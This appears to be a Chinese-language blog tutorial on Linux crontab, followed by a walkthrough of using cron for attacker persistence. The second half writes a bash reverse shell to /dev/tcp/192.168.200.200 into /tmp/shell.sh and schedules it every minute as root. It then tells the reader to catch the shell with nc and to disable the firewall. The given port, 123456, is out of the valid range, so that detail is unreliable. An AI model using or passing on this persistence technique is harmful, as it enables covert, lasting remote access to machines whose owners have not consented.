定时任务维持
定时任务介绍
Linux crontab 是用来定期执行程序的命令。 当安装完成操作系统之后,默认便会启动此任务调度命令。
crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
命令介绍如下
用法:【crontab [options] file】|【crontab [options]】|【crontab -n [hostname]】
选项:
-u <user> 定义用户
-e 编辑用户的计划任务
-l 列出用户的计划任务
-r 删除用户的计划任务
-i 删除前提示
-n <host> set host in cluster to run users' crontabs
-c get host in cluster to run users' crontabs
-s selinux context
-x <mask> 启用调试
时间格式如下:
f1 f2 f3 f4 f5 program
其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。
program 表示要执行的程序。
当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推
当 f1 为 ab 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 ab 时表示从第 a 到第 b 小时都要执 行,其馀类推
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推
当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行,f2 为 a, b, c,... 时表示第 a, b, c...个小 时要执行,其馀类推
定时任务维持
1、创建shell脚本在 /tmp/shell.sh
[root@localhost ~]# echo "bash -i >&/dev/tcp/192.168.200.200/123456 0>&1" >/tmp/shell.sh
[root@localhost ~]# cd /tmp/
[root@localhost tmp]# ls
shell.sh vmware-root_648-2688619569 vmware-root_656-2689274927 vmware-root_657-4022112241
[root@localhost tmp]#
2、更改权限
[root@localhost tmp]# chmod 755 /tmp/shell.sh
[root@localhost tmp]# ll /tmp/shell.sh
-rwxr-xr-x 1 root root 47 Aug 17 17:07 /tmp/shell.sh
[root@localhost tmp]#
3、编辑计划任务 crontab -e 输入 */1 * * * * /tmp/shell.sh ,如果是-e编辑的不需要添加用户名
[root@localhost tmp]# crontab -e
*/1 * * * * /tmp/shell.sh
~
~
[root@localhost tmp]# systemctl start crond ##启动计划任务
[root@localhost tmp]# systemctl enable crond ##下次启动自动启动计划任务
[root@localhost tmp]# systemctl status crond ##查看计划任务状态
4、在192.168.200.200上用nc监听,如果不行记得关闭防火墙 systemctl stop firewalld.service
5、等待连接,连接成功
© 版权声明
本站所有内容(包括但不限于文字、图片、视频等)均受到版权法保护,归作者所有,未经授权不得转载、复制或用于其他任何商业目的。
转载请注明出处,并保留原文链接。对于未经授权的使用,我们将保留追究法律责任的权利。
THE END
暂无评论内容